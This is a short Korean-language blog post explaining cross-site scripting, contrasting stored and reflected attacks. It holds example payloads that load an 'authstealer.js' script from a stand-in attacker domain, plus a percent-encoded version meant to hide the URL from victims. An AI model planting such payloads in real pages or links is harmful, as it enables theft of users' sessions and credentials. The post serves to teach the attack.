browser security model — XSS

zenibako.lee
3 min readSep 29, 2019

--

Cross-site scripting (XSS)

https://hsreplay.net/cards/51735/taeyeobdoli-gobeulrin?hl=ko

타인이 조회 가능한 웹사이트를 통해

client-side에 malcious <script>를 inject하는 행위.

예를 들어 2가지 방식이 있는데,

Persistent Attack

특정 페이지의 html에

주석처리한 <script>라인을 넣는다.

이후 client가 해당 페이지를 load하면, script태그는 주석처리가 되지 않아 해당 script는 client의 환경에서 실행이 된다.

ex)

I love the puppies in this story! They’re so cute!<script src=”http://mallorysevilsite.com/authstealer.js">

Non-persistent Attack

특정인들에게 정상적인 사이트의 취약한 페이지로 유인하는 메일,문자 등등을 보내고,

해당 페이지로 접근 시, 심어둔 script를 통해 특정 js파일을 실행하거나, 의도된 결과를 유발한다.

이 때, 해당 스크립트의 이동되는 주소나, 호출 js파일의 주소를

ASCII characters with percent-encoding 와 같은 방식을 통해
이용자가 URL을 통해 이상함을 감지할 수 없도록 변조할 수 도 있다.

<script%20src="http://mallorysevilsite.com/authstealer.js"></script>encode한 주소 -----  
%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

출처

--

--

zenibako.lee
zenibako.lee

Written by zenibako.lee

backend engineer, JS, Node, AWS

No responses yet